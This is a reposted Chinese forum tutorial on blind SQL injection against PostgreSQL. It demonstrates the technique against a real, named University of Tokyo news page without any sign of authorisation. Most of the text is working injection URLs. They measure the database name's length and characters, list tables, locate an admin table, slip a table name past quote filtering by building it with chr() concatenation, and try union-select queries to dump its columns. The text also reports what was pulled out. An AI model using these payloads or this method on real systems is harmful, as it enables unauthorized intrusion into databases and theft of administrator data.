刀城技术网-信息安全,服务器安全维护,网站安全维护

postgresql盲注+比较简单方法

时间:2012-06-05 23:42来源:http://sb.f4ck.net 作者:huang 点击:
作者:huang 原文地址: http://sb.f4ck.net/thread-2741-1-4.html 对postgresql注入很是陌生、、、、、、 基本是没什么思路我等小菜还真的是没见过、、、、不知道什么长相、、这几天看一个韩国站的时候发现了一个、、看日本站的时候又看了个、、 听人说日本
作者:huang
原文地址:
http://sb.f4ck.net/thread-2741-1-4.html



对postgresql注入很是陌生、、、、、、
基本是没什么思路我等小菜还真的是没见过、、、、不知道什么长相、、这几天看一个韩国站的时候发现了一个、、看日本站的时候又看了个、、
听人说日本的网站比较多、、、汗,落伍了、、、、、、、、、、、
找了下相关的资料、其实也是还可以理解的、、、但是对我等小菜来说还是有不理解的地方,只是把自己理解的写出来和大家学习了、、也希望哪位大牛能把我不理解的地方写下去、、

这里有一遍很好的学习postgresql注入的基础的文章、、
  1. http://nana.blackbap.org/?p=archive&id=55
是nana大shen写的,一直闻其声(名声)而不见其人、、、、当然网上也还有其他的科参考下、、、

 

注入点:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and 1=1
正常
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and 1=2
错误

猜字段数:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 order by 15--
正常
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 order by 16--
错误了
但是可悲的是union select 不可以用、、、

那么这样正常:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(current_database())) between 0 and 30
意思是检测数据库的长度在是否在:between 0 and 30之间,是的话就返回正确,错误的话就返回错误、、、、

错误:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(current_database())) between 0 and 7
说明数据库名的长度不在0-7之间、、

正常:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(current_database())) between 7 and 11
说明在7 and 11 之间、、

正常:
/news/detail_e.html?id=13072 and (select length(current_database())) between 8 and 8
说明数据库名的长度为8 接下来我们来看看数据库名是什么、、

这两个正常:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 32768
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 16384
这两个错误:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 0 and 64
http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 64 and 96
正常:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) between 117 and 117
好我们猜到了数据库第一个字符的ascii只是:117

我们来猜第二个:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),2,1))) between 0 and 32768
一直下去就能把数据库弄出来了、、、、

结果是:utokyodb


ok我们接下来的人物是猜出表名、、
我们先来看看有多少个表、、
看两个正常:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select count(*) from pg_stat_user_tables) between 0 and 2000
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select count(*) from pg_stat_user_tables) between 20and 20
好我们有20个表、、、、
接下来我们来看看、、表是什么、、
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 128
这句话的意思是看看第一个表的长度是多少
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 64
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 19 and 19
这两句说明第一个表的长度为:19

我们接下来看看第一个表的内容是什么、、
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 32768
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 112 and 120
一样的方法下去我们就能猜到我们的表了、、、只要改变(select ascii(substr(relname,1,1))第一个1为2
就是说第一个表的第二个字母的内容了即(select ascii(substr(relname,2,1))

好我们来看第二个表的内容是什么
正常:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 1) between 112 and 120
这一切和查看第一个表的第一个字母的不同点是什么??
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 112 and 120
没错,我们只要把 OFFSET 0 改为 OFFSET 1即可

结果我们得到了我们想要的管理表为:publish_admin

好接下来我们来看看字段是什么、、、先来构造下语句、、
得到/*得到表名为xxx的oid值*/
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(oid,1,1)) from pg_class where relname='publish_admin' limit 1 OFFSET 0) between 0 and 32768
显示错误、、、、、可能oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(cast(oid+as+varchar(10)),1,1)) from pg_class where relname='publish_admin' limit 1 OFFSET 0) between 0 and 3276811
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name=$publish_admin$ limit 1 OFFSET 0) between 0 and 120
还是错误、、蛋疼
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name=0x7075626C6973685F61646D696E limit 1 OFFSET 0) between 0 and 120
错误

哎 搞不下去了、、、还请大牛写下去、、给我们小菜一个求知的机会、、、、同时也希望各位能多发点自己的心得、、、藏在肚子里烂了还会拉肚子、、、、
时间过去了很久了、、、没想到这个贴对一些说还有点用、、、、所以就打算写下去、、、、
其实大家看这个语句,应该是没有错的、、是不、、、语句我们是对的
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name= publish_admin +between+0+and+256
但是为什么回出错呢??在百思不得其解中,我想到了不是有工具吗???我们用工具抓包下 看看 人家的是什么语句、、、、
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)||chr(95)||chr(97)||chr(100)||chr(109)||chr(105)||chr(110)+limit+1+OFFSET+1)+between+0+and+256
正确、、、、、、蛋疼、、、、大家看大没、、、、
table_name= publish_admin
table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)||chr(95)||chr(97)||chr(100)||chr(109)||chr(105)||chr(110)
绕过去了、、出来了 、、 这就是爆字段的语句、、、
我们来继续看看 怎么爆、、字段的内容、、、其实还是可以这样的:
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),null,version(),version(),version(),null,null,version(),version(),column_name+from+information_schema.columns+where+table_name=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(115)||chr(104)||chr(95)||chr(97)||chr(100)||chr(109)||chr(105)||chr(110)+limit+1+offset+0+--+
不过这不是我们今天的目的
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+(select+ascii(substr(aid,1,1))+from+publish_admin+limit+1+OFFSET+0)+between+0+and+236
不对???我x、、、、蛋疼、、、、、、
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),null,version(),version(),version(),null,null,version(),version(),rank+from+publish_admin--
丫的但是盲注不行啊、、蛋疼啊
  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+(select+ascii(substr(rank,1,1))+from+publish_admin+limit+1+OFFSET+0)+between+0+and+236
哦是可以的、、、 搞定、、蛋疼(责任编辑:刀)
顶一下
(1)
100%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
验证码:点击我更换图片
栏目列表
推荐内容